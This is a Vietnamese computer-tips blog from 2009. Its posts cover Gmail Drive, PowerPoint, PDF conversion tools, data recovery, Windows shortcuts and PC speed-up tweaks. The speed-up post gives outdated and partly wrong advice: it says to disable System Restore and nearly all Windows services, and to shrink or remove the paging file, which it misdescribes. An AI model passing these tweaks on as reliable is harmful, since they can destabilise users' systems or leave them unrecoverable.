Showing posts with label Thu Thuat May Tinh. Show all posts
Showing posts with label Thu Thuat May Tinh. Show all posts

Wednesday, 6 May 2009

Tạo ổ đĩa ảo trực tuyến 7GB với Gmail

[FD's BlOg] - Sử dụng Gmail- bạn có tài khỏan lên tới 7GB dung lượng, thế thì tại sao bạn không biến nó thành một ổ đĩa ảo để chứa dữ liệu của bạn. Bằng cách này, bạn sẽ không bao giờ sợ mất dữ liệu vì virus hay hỏng hóc ổ cứng nữa.




☼ Đầu tiên bạn tải file cài đặt tại đây.

☼ Hướng dẫn:

Sau khi tải về, bạn cài đặt chương trình, lúc đó bạn mở My Computer lên, trong này sẽ có thêm một ổ đĩa nữa tên là GMail Drive, bạn nhấn chuột kép lên nó để mở ổ đĩa ảo lên.

Bạn hãy điền tên sử dụng và mật khẩu của hộp thư Gmail bạn dùng vào các khung tương ứng bên trong cửa sổ hiện ra, sau đó bạn bấm chọn Auto Login để chương trình tự động đăng nhập mỗi khi máy khởi động.

Trong mục More, bạn đánh chọn Preserve Filenames để bảo vệ tên của file khi đưa vào hộp thư, chọn Use Draft Folder để sử dụng thư mục Draft làm ổ đĩa chứa file, Use Secure HTTP để bảo mật file trong ổ đĩa.

Nếu bạn dùng thuê bao IP, mục Use Proxy Authentication bạn hãy điền mật khẩu và tên sử dụng vào Username và Password- thiết lập này nhằm giúp cho các file được bảo vệ tốt hơn.

Bây giờ bạn nhấn OK để bắt đầu kết nối máy tính với tài khoản Gmail của bạn để sử dụng nó như một ổ đĩa ảo. Sau đó, bạn chỉ việc tạo ra các thư mục con rồi kéo thả những file muốn lưu trữ vào trong đó rồi...chờ đợi để hệ thống đưa chúng vào trong hộp thư cho bạn.



Sau đó, bạn có thể dùng thao tác kéo thả để lấy file về máy. Một điểm lợi khi bạn dùng hộp thư ảo bằng bằng tài khoản Gmail là dù bạn có đi bất kì đâu thì bạn cũng dễ dàng upload hay download các file mình cần.

Mặt khác, Gmail hiện đang tiếp tục tăng dung lượng hộp thư nên chắc chắn bạn sẽ tha hồ mà lưu trữ không giới hạn các file tư liệu của mình.

- Một lưu ý khi sử dụng Gmail Drive, là do hộp thư Gmail chỉ cho gửi nhiều nhất 20MB dung lượng file nên các file của bạn đưa lên Gmail Drive cũng không quá 20MB.

Khi đưa file lên hộp thư Gmail, chương trình Gmail Drive sẽ tự động gửi một thư thông báo cho bạn biết về việc này. Do đó, nó sẽ làm hộp thư của bạn có nhiều thông báo không cần thiết, để tránh việc này bạn nên làm cho Gmail một filter để đưa các thư thông báo vào trong đó.

Các tạo một filter như sau- bạn đăng nhập vào Gmail, vào Settings > Filters. Sau đó kéo chuột xuống dưới rồi chọn Create a new filter.






Trong mục Has the words- bạn điền chữ GMAILFS vào trong, nhấn Next Step rồi đánh chọn Skip the Inbox (Archive it), đánh chọn Apply the label. Sau đó trong mục Choose label, bạn chọn New label- sau đó đặt tên cho nó là Gmail Drive.

Cuối cùng bạn nhấn Create Filter để xác nhận chọn lựa. Sau này, các thông báo về file upload lên hộp thư sẽ được đưa vào trong đó và không làm “nhiễu” hộp thư của bạn nữa





Nguồn : Blog voduykhiem

read more...

Monday, 13 April 2009

Mẹo hay làm slide trình diễn

[FD's BlOg] - PowerPoint là chương trình để xây dựng các slideshow trình diễn thông dụng nhất hiện nay. Bài viết sau đây sẽ hướng dẫn bạn một vài thủ thuật hay trong sử dụng PowerPoint. (Theo Dân Trí)



Với PowerPoint, bạn có thể dễ dàng trình bày ý tưởng của mình thông qua hình ảnh, chữ viết và âm thanh. Những thủ thuật dưới đây, hy vọng sẽ giúp ích cho việc trình bày ý tưởng của bạn bằng PowerPoint.

1. Trình diễn PowerPoint thông qua Internet:

Trong PowerPoint, bạn có thể dễ dàng chuyển đổi tài liệu sang file định dạng HTML. Điều này có nghĩa là bạn có thể trình diễn PowerPoint thông qua Internet. Để thực hiện được điều này, bạn làm theo các bước sau:

- Đầu tiên, bạn mở file PowerPoint bạn muốn trình diễn trên Internet bằng chương trình Microsoft PowerPoint.

- Tiếp theo, bạn kích File trên thanh công cụ, chọn Save as Web Page.

Image

- Một hộp thoại nhỏ sẽ hiện ra. Tại đây, bạn chọn nơi bạn muốn lưu file lại, với tên file điền tại khung File name. Đồng thời, tại hộp thoại này, bạn nhấn vào nút Publish để chọn các tùy chọn nâng cao.

Image

- Sau khi nhất nút Publish, một hộp thoại mới sẽ xuất hiện. Tại đây, bạn có thể chọn để đưa toàn bộ các Slide vào file HTML, hoặc chỉ chọn một số Sile nhất định. Để làm việc này, bạn điền số các Slide cần chọn vào khung Sile number through … Tiếp theo, cũng tại hộp thoại này, bạn kích vào nút Web Options và chọn những chi tiết của file HTML sẽ tạo ra.

+ Thẻ General dùng để thiết lập cách hiển thị của nội dung Slide trên trang web.

+ Thẻ Browser dùng để chọn trình du‎yệt được sử dụng để xem nội dung file PowerPoint.

+ Thẻ File dùng để thiết lập tên file và nơi chứa file.

+ Thẻ Pictures cho phép bạn chọn kích thước màn hình khi trình diễn nội dung Slide.

+ Thẻ Encoding cho phép bạn chọn kiểu mã dùng trên trang web. (thông thường đối với các slide sử dụng tiếng Việt thì bạn chọn encoding Unicode UTF-8.

+ Thẻ Font dùng để thay đổi font chữ và cỡ chữ cho văn bản dùng trên slide.

Image

- Sau khi đã chỉnh xong cho mình những tùy chọn cần thiết, bạn bấm nút OK để lưu lại các tùy chọn và để đóng cửa sổ Web Options. Cuối cùng, bạn nhấn nút Publish để đóng cửa sổ Publish as web page.

- Bây giờ, bạn trở lại với hộp thoại Save As, bạn chọn vị trí lưu lại file PowerPoint trên ổ cứng của mình.

Công việc cuối cùng của bạn là up file HTML đã được tạo ra lên một web server nào đó, để có thể trình diễn nội dung của các Slide thông qua Internet.

2. Chèn file Flash vào Slide của PowerPoint

Tương tự như PowerPoint, Flash cũng có thể dùng để trình diễn những ý tưởng bạn, thậm chí còn có thể biễu đạt tốt hơn những Slide của PowerPoint. Do đó, bạn có thể chèn những đoạn phim Flash vào PowerPoint để làm cho file trình diễn của mình thêm ấn tượng. Thậm chí là những file Flash nhỏ dùng để thư giãn trong quá trình trình diễn bằng PowerPoint.

Tuy nhiên, cần lưu ý là trước khi chèn Flash vào PowerPoint thì máy tính của bạn đã cài đặt chương trình Flash Player để chơi file Flash.

Sau đây là cách thức tiến hành để chèn một file Flash vào slide của PowerPoint.

- Đầu tiên, bạn mở file PowerPoint muốn chèn Flash bằng chương trình Microsoft PowerPoint.

- Tiếp theo, từ menu, bạn chọn View -> Toolbar -> Control Toolbox.

Image

- Tại đây, một hộp thoại mới sẽ xuất hiện với tên gọi Control Toolbox. Tại hộp thoại này, bạn click vào biểu tượng More Control (nằm ngoài cùng bên phải) và một danh sách mới sổ xuống. Bạn chọn “Shockwave Flash Object” từ danh sách sổ xuống này.

Image

- Sau khi chọn tùy chọn này xong, một khung hình chữ nhật sẽ hiện ra, file Flash của bạn sẽ được hiển bị bên trong khung này. Bây giờ bạn sử chuột, kéo khung đến vị trí bất kỳ nào đó trong Slide mà bạn muốn file Flash hiển thị. Sau khi đã chọn xong cho mình vị trí thích hợp, bạn click chuột phải vào khung này và chọn Properties.

Image

- Hộp thọai Properties sẽ hiển ra với những tùy chọn mới. Tại khung hộp thoại này, bên dưới tab Alphebet, bạn tìm đến tùy chọn Movie và điền vào đó đường dẫn đầy đủ của file Flash muốn sử dụng vào khung ở bên phải. (Ví dụ D:\Flash\Test.swf)

Image

- Tiếp theo, ở trong cùng tab Alphabet này, tại tùy chọn Playing, bạn thiết lập giá trị “True” và tùy chọn EmbedMovie bạn cũng thiết lập giá trị True để file Flash tự động chơi khi trình diễn đến Slide chứa nó. Nếu không muốn, bạn thiết lập giá trị của EmbedMovieFalse để điều khiển bằng tay. Tại hộp thoại Properties này, bạn cũng có thể thiết lập chất lượng Flash (Quality), kích thước Flash (Width)…

Image

- Cuối cùng, bạn đóng hộp thoại Properties, save lại file PowerPoint vừa chỉnh sửa và thử nghiệm lại kết quả.

read more...

Chuyển đổi file PDF sang Word hoặc các định dạng khác

[FD's BlOg] - Hầu hết trong số chúng ta đều biết có rất nhiều cách dễ dàng để có thể chuyển đổi một tài liệu văn bản Word sang DPF nhưng điều gì sẽ xảy ra khi chúng ta cần chuyển đổi ngược từ DPF sang Word? (Theo QTM-Howtogeek)

Trong bài này mình sẽ giới thiệu cho các bạn một số phương pháp để thực hiện việc chuyển đổi ngược từ DPF sang định dạng Word hay một tài liệu văn bản khác.

Ở đây mình giới thiệu 2 cách, đó là thực hiện trực tuyến và sử dụng phần mềm.

1.Convert trực tuyến

Một số giải pháp đầu tiên mà chúng ta cần nói đến đó là các giải pháp trực tuyến dựa trên nền tảng web, đây là các giải pháp không cần phải cài đặt bất cứ phần mềm nào để chuyển đổi các file của bạn … chỉ cần lưu ý với các website này là bạn đang upload dữ liệu đến một hãng nào đó, chính vì vậy cần phải cân nhắc đến vấn đề riêng tư nếu bạn đang chuyển đổi các tài liệu nhậy cảm.

a. Zamzar

Cần phải nói đến site chuyển đổi file trực tuyến phổ biến nhất là Zamzar. Dịch vụ miễn phí này cho phép bạn chuyển đổi các file có dung lượng lên đến 100MB mà không cần phải trả phí. Chỉ cần duyệt đến file DPF, chọn định dạng cần chuyển đổi sang, sau đó nhập vào địa chỉ email của bạn. Khi tài liệu đã sẵn sàng, Zamzar sẽ gửi cho bạn một email đi kèm theo một liên kết đến tài liệu đã được chuyển đổi để bạn download. Zamzar cũng chuyển đổi một DPF sang các định dạng như HTML, ODT, PCX, PNG, PS, RTF và TXT.

Zamzar

Vào đây để convert với Zamzar Free Online

b. PDF Online

Một dịch vụ trực tuyến nữa cần phải nhắc đến ở đây đó là PDF Online. Dịch vụ này được cung cấp bởi phần mềm BCL Technologies Easy Converter, cho phép bạn có thể download dùng thử 30 ngày với số lượng tài liệu lớn. Hiện hành, bạn có thể đăng ký tài khoản trực tuyến BCL Premium Online để cho phép chuyển đổi đến 20 tài liệu mỗi ngày với giới hạn về kích thước là 10MB (trên mỗi tài liệu).

PDF Online

Sau khi chuyển đổi, bạn hãy kích chuột phải vào liên kết và chọn “save link as” để lưu tài liệu RTF Word trên máy tính của mình.

PDF to Word for Free

Sử dụng PDF Online Free PDF Services

c. Free PDF Converter

Một dịch vụ trực tuyến cuối mà chúng tôi muốn giới thiệu trong bài là Free PDF Converter. Dịch vụ này cũng tương tự như Zamzar nhưng phiên bản miễn phí bị hạn chế hơn nhiều. Chúng tôi đã đệ trình 4 trang tài liệu PDF giống nhau cho tất cả các test, dịch vụ này đã cắt tài liệu của chúng tôi vì vượt quá giới hạn cho phép của nó. Bên cạnh đó bạn cũng chỉ có thể chuyển đổi trên một PDF 30 phút một lần. Tuy nhiên mọi hạn chế sẽ không có nếu bạn đăng ký thành viên và trả tiền. Thành viên rẻ nhất là 9$ mỗi tháng, ở đây các chuyển đổi sẽ không bị hạn chế.

Free PDF Converter

Sử dụng Free PDF Converter

2. Thực hiện với phần mềm

Một loạt các giải pháp tiếp theo mà chúng tôi sẽ giới thiệu dưới đây là các ứng dụng dựa trên phần mềm, đây là các ứng dụng có thể được cài đặt cục bộ trên máy tính và được sử dụng offline. Điều này sẽ an toàn hơn trong quá trình chuyển đổi các tài liệu nhậy cảm.

a. BCL Easy Converter Desktop 1.0

BCL Easy Converter Desktop 1.0 là một tiện ích rất đơn giản nhưng mạnh, nó có thể chuyển đổi các tài liệu PDF sang Word. Về công việc cơ bản thực hiện cũng giống như dịch vụ trực tuyến nhưng quá trình thực hiện lại diễn ra trên máy của bạn. Phần mềm này chỉ chuyển đổi các tài liệu PDF sang RTF, nhưng nó tiết kiệm được thời gian vì xử lý nhanh hơn các dịch vụ trực tuyến. Bạn có thể download về chạy thử Easy Converter Desktop hoặc có thể mua một bản với giá chỉ 19.95$.

BCL Easy Converter

Download phiên bản chạy thử của BCL Easy Converter Desktop 1.0

b.DocSmartz

Đôi khi bạn có thể cần phải chuyển đổi tài liệu PDF sang các định dạng file khác, chẳng hạn như Excel, HTML, hoặc Postscript. Ở đây DocSmartz Pro là một ứng dụng máy trạm thích hợp vừa về túi tiền mà lại vẫn cho phép bạn chuyển đổi được sang định dạng mong muốn. Chọn PDF mà bạn muốn chuyển đổi và DocSmartz Pro sẽ đưa bạn qua các thiết lập khác nhau bằng một wizard đơn giản.

DocSmartz

Download DocSmartz Pro

c. ABBYY PDF Transformer 2.0

Một giải pháp phần mềm khác dùng để chuyển đổi các tài liệu PDF sang các định dạng khác nữa chính là ABBYY PDF Transformer 2.0. Phần mềm này có thể chuyển đổi các tài liệu PDF sang định dạng Word, Excel, RTF, HTML, TXT, và các tài liệu PDF có khả năng tìm kiếm. Trong thí nghiệm của chúng tôi, ABBYY đã thực hiện khá tốt công việc chuyển đổi tài liệu PDF sang các định dạng này. Tuy nhiên một đăng ký đầy đủ của ABBYY Transformer sẽ tiêu tốn đi của bạn 99$.

ABBYY PDF Transformer

Download PDF Transformer 2.0

d. Free PDF to Word Doc Converter

Cuối cùng muốn giới thiệu ở đây cho các bạn là phần mềm Free PDF to Word Converter 1.1. Phần mềm này cũng đơn giản và sử dụng giống như Easy Converter của BCL nhưng nó có một số tùy chọn mở rộng như chọn phông chữ và chọn số trang. Các chuyển đổi diễn ra nhanh và dễ dàng thậm chí với các tài liệu cỡ lớn có nhiều hình ảnh.

Free PDF to Word

Tuy nhiên có một mánh khóe của nhà sản xuất ở đây. Sau một vài lần chuyển đổi ban đầu, bán sẽ gặp phải yêu cầu cần download mã đăng ký từ site mỗi khi muốn thực hiện chuyển đổi tài liệu. Để không bao giờ cần phải nhập và mã đăng ký, bạn sẽ phải trả một khoản tiền khoảng 15$.

Registration Code

Download Free PDF to Word Converter 1.1

3. Kết luận

Sau khi kiểm tra các dịch vụ trực tuyến, việc chuyển đổi một PDF sang RTF (Rich Text Format) dường như làm việc tốt nhất. Khi chuyển đổi sang Doc, định dạng có thể hơi lộn xộn đôi chút. Tuy nhiên qua thử nghiệm cho thấy, PDF Online cho kết quả thực hiện nhanh nhất, dễ dàng sử dụng nhất và chất lượng cũng tốt nhất so với các dịch vụ trực tuyến khác.

Ngoài 2 bộ chuyển đổi nhiều định dạng file kia thì DocSmartz Pro chính là phần mềm đơn giản sử dụng hơn và cho kết quả thực hiện nhanh hơn PDF Transformer 2.0 của ABBYY. Nếu bạn cần phải chuyển đổi PDF sang Word thì Free PDF to Word Doc Converter sẽ làm việc tốt một vài lần đầu cho tới khi bạn cảm thấy bực mình với việc cần phải nhập vào mã mỗi khi kích vào tài liệu. Nếu bạn muốn chuyển đổi PDF sang nhiều định dạng khác nhau thì có lẽ DocSmartz Pro chính là phần mềm tốt nhất và rẻ tiền nhất. Còn nếu chỉ cần chuyển đổi PDF sang Word không thôi thì BCL Easy Converter Desktop 1.0 là quá đủ với bạn.

read more...

Tuesday, 24 March 2009

Thủ thuật máy tính : mẹo cứu dữ liệu

Mẹo cứu file dữ liệu bị xóa

[FD's BlOg] - Có vô số những lý do dẫn đến mất dữ liệu, có thể ổ cứng bị trục trặc hay thẻ nhớ bị hỏng. Hoặc cũng có thể bạn vô tình xóa nhầm file không muốn xóa. Dưới đây là những công cụ và mẹo giúp bạn phục hồi dữ liệu bị xóa, thậm chí cả những dữ liệu bị hỏng.


1. Tạo bộ công cụ phục hồi

Thời điểm tốt nhất để cài các công cụ phục hồi vào máy tính là trước khi bạn mất dữ liệu. Bạn có thể chọn một trong số bốn công cụ phục hồi dữ liệu sau đây, gồm Recuva, PC Inspector File Recovery, SoftPerfect File Recovery và Undelete Plus.

2. Cài chương trình chạy trên ổ USB

Nếu bạn không muốn cài các chương trình phục hồi dữ liệu trên ổ cứng hoặc đã mất dữ liệu trên ổ cứng? Đừng lo, Undelete Plus có thể tải về và chạy trực tiếp từ ổ USB; tương tự, một phiên bản di động của phần mềm Recuva cũng có thể tải và giải nén các nội dung của file zip trực tiếp ra ổ USB.

3. Xóa file

Các file bị dữ liệu bị xóa đều có thể phục hồi trừ khi bạn xóa nó bằng công cụ xóa dữ liệu an toàn. Đó là vì file đó chưa thực sự bị xóa, kể cả khi bạn đã dọn sạch thùng rác Recycle Bin hoặc nhấn phím Shift khi xóa dữ liệu. Các file bị xóa chỉ bị thay đổi một vài byte dữ liệu ở phần đầu để báo cho hệ điều hành Windows biết là khoảng trống đó có thể dùng để ghi đè dữ liệu khác lên. Phần còn lại của file dữ liệu vẫn còn nguyên đến khi nó bị ghi đè bằng các dữ liệu mới.

4. Chọn kiểu tìm kiếm dữ liệu bị xóa

Hầu hết công cụ phục hồi dữ liệu cung cấp nhiều tính năng tìm kiếm khác nhau tùy thuộc vào dạng mất dữ liệu. Recuva cho phép tìm kiếm theo loại file dữ liệu. Cách này có thể giúp bạn tìm nhanh những file dữ liệu bị xóa nếu đã xác định được thể loại dữ liệu.

5. Tìm kiếm sâu

Các công cụ phục hồi file dữ liệu cung cấp lựa chọn tìm kiếm kỹ lưỡng hơn, có thể quét đến từng cung từ (sector) trong ổ cứng. Các công cụ này phù hợp với tìm kiếm dữ liệu trong trường hợp ổ cứng hỏng hoặc phân vùng (partition) ổ cứng lỗi nhưng cũng có thể lôi ra những file đã xóa không muốn hiển thị.

6. Phục hồi dữ liệu từ đĩa CD/DVD

Phục hồi dữ liệu từ đĩa CD hoặc DVD đòi hỏi những công cụ khác nhau và tùy thuộc vào lỗi vật lý hay ảo. Bắt đầu với công cụ miễn phí Unstoppable Copier, nhưng nếu không được, có thể phiên bản miễn phí của phần mềm ISOBuster hoặc bỏ tiền ra mua phần mềm cứu dữ liệu CDRoller (giá 29,5 USD).

7. Phục hồi ảnh từ thẻ nhớ

Bạn cũng có thể khôi phục những file ảnh bị xóa trong thẻ nhớ, trong trường hợp thẻ nhớ này vẫn có thể nhìn thấy trong Windows. Phiên bản thử nghiệm miễn phí của phần mềm Zero Assumption Recovery có công cụ phục hồi file ảnh, cho phép bạn xem trước hình ảnh trước khi khôi phục lại.

8. Phục hồi những file bị hỏng

Bạn có thể phục hồi cả các file bị hỏng (corrupt file). Tuy nhiên, trong trường hợp này, bạn cần đầu tư mua phần mềm có phí như PC Tools File Recovery (giá 39 USD) hoặc Recover My Files (45 USD). Cả hai phần mềm này hỗ trợ rất nhiều định dạng file, bạn thử nghiệm cho phép bạn xem trước kết quả trước khi quyết định mua về dùng.

9. Sẵn sàng móc tiền

Nếu các dữ liệu của bạn không thể phục hồi hoặc ổ cứng đã bị hỏng vật lý, hãy tự hỏi mình xem có đáng bỏ tiền để mang ổ cứng đi kiểm tra và phục hồi dữ liệu ở những công ty chuyên nghiệp như Ontrack hay không.
read more...

Sunday, 22 March 2009

Phím tắt trong Windows

Những phím tắt trong Windows

[FD's BlOg] - Bạn đã khá quen với việc dùng chuột để chạy các ứng dụng trong Windows nhưng với việc sử dụng phím tắt trên bàn phím, bạn có thể tiết kiệm thời gian , công việc trở nên rất hiệu quả , ngòai ra thao tác của bạn sẽ trở nên pro rất nhiều.Ở đây mình chỉ giới thiệu phím tắt dùng cho WIN, ngòai ra mỗi chương trình cũng có nhiều phím tắt riêng.(Nguồn xaluan)

1/ Phím tắt chung

Phím Chức năng
Ctrl + C Sao chép
Ctrl + X Cắt
Ctrl + V Dán
Ctrl + Z Hoàn lại tác vụ vừa thực hiện
Delete Xóa
Shift + Delete Xóa vĩnh viễn một đối tượng, không phục hồi được bằng cách vào thùng rác
Ctrl + kéo thả Sao chép đối tượng đang chọn
Ctrl + Shift + kéo thả Tạo lối tắt cho đối tượng đang chọn
F2 Đổi tên đối tượng đang chọn
Ctrl + > Di chuyển con trỏ đến một điểm chèn về phía sau 1 từ
Ctrl + < Di chuyển con trỏ đến một điểm chèn về trước sau 1 từ
Ctrl + mũi tên lên Di chuyển con trỏ đến một điểm chèn lên trên một đoạn
Ctrl + mũi tên xuống Di chuyển con trỏ đến một điểm chèn xuống dưới một đoạn
Ctrl + Shift + mũi tên Chọn một khối văn bản
Shift + mũi tên Chọn các đối tượng trên màn hình Desktop, trong cửa sổ Windows, trong các phần mềm soạn thảo
Ctrl + A Chọn tất cả
F3 Tìm kiếm một tập tin, thư mục
Ctrl + O Mở một đối tượng
Alt + Enter Xem thuộc tính của đối tượng đang chọn
Alt + F4 Đóng đối tượng đang kích hoạt, thoát chương trình đang kích hoạt
Ctrl + F4 Đóng cửa sổ con trong ứng dụng đa cửa sổ như Word, Excel...
Alt + Tab Chuyển đổi qua lại giữa các cửa sổ đang mở
Alt + ESC Di chuyển vòng quanh theo thứ tự các đối tượng đang mở
F6 Di chuyển vòng quanh các phần tử giống nhau trong một cửa sổ hoặc trên màn hình Desktop
F4 Sổ nội dung của thanh địa chỉ trong cửa sổ My Computer hoặc Windows Explorer
Shift + F10 Hiển thị thực đơn tắt (thực đơn ngữ cảnh) của đối tượng đang chọn
Alt + phím cách Hiển thị thực đơn hệ thống (System menu) của cửa sổ đang kích hoạt
Ctrl + ESC Hiển thị thực đơn Start
Alt + ký tự gạch chân trên thực đơn lệnh Thực hiện lệnh tương ứng
F10 Kích hoạt thanh thực đơn lệnh của ứng dụng đang được kích hoạt
->, <-, Up, Down Di chuyển giữa các đối tượng đang chọn trong cửa sổ, giữa các nhánh lệnh trên thanh thực đơn lệnh
F5 Cập nhật cho cửa sổ đang kích hoạt
Backspace Trở về thư mục cấp trên liền kề của thư mục hiện tại trong cửa sổ My Computer hoặc Windows Explorer
ESC Bỏ qua tác vụ hiện tại
Giữ Shift khi bỏ đĩa CD Ngăn cản việc chạy các chương trình tự động từ đĩa CD

2/ Phím tắt trên hộp thoại

Phím tắt Chức năng
Ctrl + Tab Chuyển sang thẻ kế tiếp trong hộp thoại
Ctrl + Shift + Tab Chuyển về thẻ phía trước trong hộp thoại
Tab Chuyển đến các phần lựa chọn, lệnh kế tiếp
Shift + Tab Chuyển về các phần lựa chọn, lệnh phía trước
Alt + Ký tự gạch chân Thực hiện lệnh tương ứng có ký tự gạch chân
Enter Thực hiện thiết lập hoặc nút nhấn đang kích hoạt
Phím cách Chọn hoặc bỏ chọn trong ô chọn (checkbox)
Mũi tên Chọn một nút nếu đang ở trong một nhóm có nhiều nút chọn
F1 Hiển thị phần trợ giúp
F4 Hiển thị danh sách giá trị của đối tượng đang kích hoạt
Backspace Trở về thư mục cấp cao hơn liền kế trong các hộp thoại lưu và mở

3/ Phím đặc biệt trên bàn phím

Phím Chức năng
Windows Hiển thị thanh thực đơn lệnh khởi động Start Menu
Windows + D Thu nhỏ hoặc phục hồi tất cả các cửa sổ đang mở
Windows + E Mở cửa sổ Windows Explorer
Windows + F Tìm kiếm
Windows + L Khóa màn hình, khóa máy (Windows XP trở lên)
Windows + M Thu nhỏ hoặc phục hồi tất cả các cửa sổ đang mở
Windows + R Mở cửa sổ Run (tương ứng Start - Run)
Windows + U Mở trình quản lý các tiện ích - Utility Manager
Windows + Tab Di chuyển giữa các tiêu đề cửa sổ đang mở trên thanh tác vụ - Taskbar
Windows + Break Mở cửa sổ System Properties.

Print Screen

Chụp màn hình

Alt + Print Screen

Chụp cửa sổ đang được kích hoạt

read more...

Saturday, 21 March 2009

Thủ thuật nâng cấp máy tính

18 thủ thuật nâng cấp máy tính

[FD's BlOg] - Theo thời gian sử dụng, máy tính sẽ ngày càng chạy chậm hơn. Tài nguyên mất dần mà không rõ nguyên nhân… Xin giới thiệu 18 thủ thuật giúp cải thiện và nâng cấp máy tính.




1 - Windows hỗ trợ hai công cụ khá mạnh để “dọn dẹp” rác trong máy tính, đó là Disk Cleanup và Disk Defragmenter. Bạn nên thường xuyên chạy hai chương trình này để máy mình được “gọn gàng” hơn.
Theo lời khuyên của những chuyên gia, bạn nên chạy Disk Cleanup (với lệnh Start > Run, gõ cleanmgr rồi nhấn Enter ) trước để xóa hết rác trong máy. Sau đó, bạn cho chạy Disk Defragmenter (với lệnh Start > Run, gõ dfrg.msc rồi nhấn Enter) dồn File và xóa các “khoảng trống” để lại khi các File rác bị xóa, giúp tăng dung lượng ổ đĩa cho máy. Tuy nhiên, vẫn còn những File ẩn bị “thải” ra sau khi chạy chương trình dồn đĩa, do đó bạn cần chạy Disk Cleanup một lần nữa để xóa sạch chúng.
Ngoài ra, để thuận tiện cho việc sử dụng,bạn nên đưa icon của Disk Cleanup và Disk Defragmenter: vào màn hình Desktop, vào My Computer > Local Disk ( C:) > WINDOWS > System32, tìm đến hai file cleanmgr , và dfrg , click chuột phải chọn Sent to > Desktop. Như vậy là từ nay, bạn chỉ cần gõ chuột lên icon của chúng là được.

2 - Thông thường khi máy tính bị trục trặc, có thể cho chạy System Restore để trở về trạng thái hoạt động tốt nhất gần đó nhất. Tuy nhiên, nó không thể chạy các chương trình đã bị lỗi nên “có cũng như không”.
Còn có nhiều cách khác để thay thế cho System Restore như bung file Ghost hoặc tốt nhất là chạy Safe Mode để cởi bỏ các chương trình bị lỗi, hay cài lại Driver cho các phần cứng. Do đó, nên tắt tính năng System Restore để lấy lại tài nguyên cho máy.
Bạn nhấp chuột phải lên My Computer chọn Properties > System Restore, sau đó chọn từng ổ đĩa, bấm nút Settings... và hạ thấp dung lượng đĩa dùng cho muc̣ đích System Restore. Tiếp theo chọn Turn off System Restore on all drivers / OK. Bạn kiểm tra lại sẽ thấy dung lượng ̣đĩa trống tăng lên đáng kể.



3 - Khi gọi một lệnh bất kì, Windows thường kiểm tra sơ bộ các nhóm lệnh có liên quan. Nhóm lệnh đó làm cho nhiều chương trình chạy rất chậm, mục đích của việc làm này đơn giản chỉ là kiểm soát việc đăng nhập các cửa sổ, dò tìm các lỗi phát sinh trong hệ thống thông tin hệ điều hành.

Đây không phải là tính năng cần thiết cho máy, nên có thể tắt nó đi: nhấp chuột phải vào My Computer, chọn Properties > Advanced, mục Error Reporting , chọn Disable error reporting.



4 - Đối với nhiều chương trình quét máy hoặc thậm chí ngay cả với Windows, những file có nguồn gốc từ hệ thống luôn được bảo vệ, không thể xóa chúng một cách thủ công, đặc biệt là các file ghi nhớ thông tin của trình duyệt web, các file ghi nhớ thông tin mở tài liệu...
Chúng thường được lưu vào một thư mục có chức năng như một bộ nhớ ảo. Nếu dùng máy càng lâu thì số thông tin không cần thiết này càng nhiều, gây lãng phí bộ nhớ của máy.
Tuy không thể xóa các file đó nhưng có thể kiểm soát lượng file được phép lưu vào máy. Khi dung lượng vượt quá qui định, những file cũ sẽ bị xóa để thay bằng file mới hơn.
Để làm được điều này, bạn nhấp chuột vào My Computer, chọn Properties > Advanced. Mục Performance, bấm Settings. Ở ô Advanced, chọn Virtual memory, bấm Change, chọn Custom size, với Initial size (MB) là 2 MB và Maximum size (MB) là 200 MB. Nếu máy không cho phép lựa chọn này, thì có chọn No paging file để thay thế.
Nhiều máy tính sẽ bị trục trặc khi thay đổi thông số trên nên bạn hãy ghi nhớ hai thông số gốc trước khi thay đổi. Nếu việc thay đổi gây ra những trục trặc thì hãy phục hồi lại rồi gia giảm chúng để đạt được thông số mà máy tính chấp nhận.



5 - Một trong những nguyên nhân khiến máy tính chạy chậm là do thiết lập quá nhiều tài khoản sử dụng. Với mỗi tài khoản, hệ thống phải chia một ít tài nguyên cho việc lưu trữ thông tin (nếu có). Dù không có thông tin nào để lưu thì bạn cũng không thể dùng nguồn tài nguyên đó cho mục đích khác được. Vì vậy, bạn đã bỏ không khá nhiều dung lượng ̣đĩa mà không để làm gì. Cách tốt nhất là thiết lập tài khoản cho một người sử dụng duy nhất.
Bạn nhấp chuột vào My Computer, chọn Properties > Advanced. Mục User Profiles, bấm Settings, và xóa bỏ tất cả các tài khoản không dùng tới, chỉ để lại một tài khoản duy nhất để máy làm việc.



6 - Khi đăng nhập vào Windows, cứ mỗi thao tác bạn tác động lên chương trình, Windows sẽ tự động sao lưu mọi thông tin vào bộ nhớ. Mục đích nhằm hỗ trợ cho việc tham khảo thông tin về những gì đã xảy ra trong máy tính.
Tuy nhiên, thời gian sử dụng càng lâu thì thông tin càng nhiều. Do đó, theo các chuyên gia, bạn nên tắt chúng đi: vào Start > Run, gõ compmgmt.msc, chọn tiếp Services and Applications > Services, chọn COM+Event System và COM+System Application, gõ Enter,và đưa Statup Type về trạng thái Disabled.



7 - Mỗi khi cài đặt một phần mềm, theo mặc định của nhà sản xuất, nó sẽ được đưa vào chương trình tự chạy khi Windows khởi động, giúp các trình diệt Virus, Trojan, bảo vệ máy tốt hơn. Tuy nhiên, khi có quá nhiều chương trình cùng chạy sẽ làm giảm tốc độ của máy tính. Vì vậy bạn nên khóa khả năng tự khởi động của chúng.
Hãy vào Start > Run, gõ msconfig, trong mục Startup, đánh dấu tick vào những chương trình không muốn chạy khi máy khởi động, rồi bấm OK. Máy tính sẽ khởi động và tắt nhanh hơn rất nhiều.



8 - Khi khởi động máy, theo mặc định, các nhóm dịch vụ kèm theo của Windows cũng sẽ được kích hoạt, mặc dù đôi lúc cũng không cần thiết lắm cho người sử dụng. Do đó, cách tốt nhất giúp máy chạy nhanh và tiết kiệm dung lượng cho bộ nhớ, là tắt tất cả các dịch vụ không cần thiết đó đi.
Hãy vào Start > Run, gõ services.msc, trong cửa sổ mới, chọn từng mục, nhấn Enter, chọn Disable cho tất cả các dịch vụ ngoại trừ Windows Audio, Network Connection, Plug and Play, Remote Procedure Call ( RPC), Telephony.
Nếu không đủ kiên nhẫn để làm theo cách đó, bạn có thể vào Start > Run, gõ msconfig, mục Sevices, chọn Disable All / Apply, sau đó tick lại những dịch vụ vừa nêu, và nhấn OK.
Thiết lập này rất tốt cho những máy tính quá yếu. Nếu là máy Petium II hoặc Pentium III, thiết lập này có thể tăng tốc máy tính lên 100%. Tuy nhiên, nếu máy tính từ Pentium IV trở lên thì không cần phải tinh chỉnh những thiết lập đó.
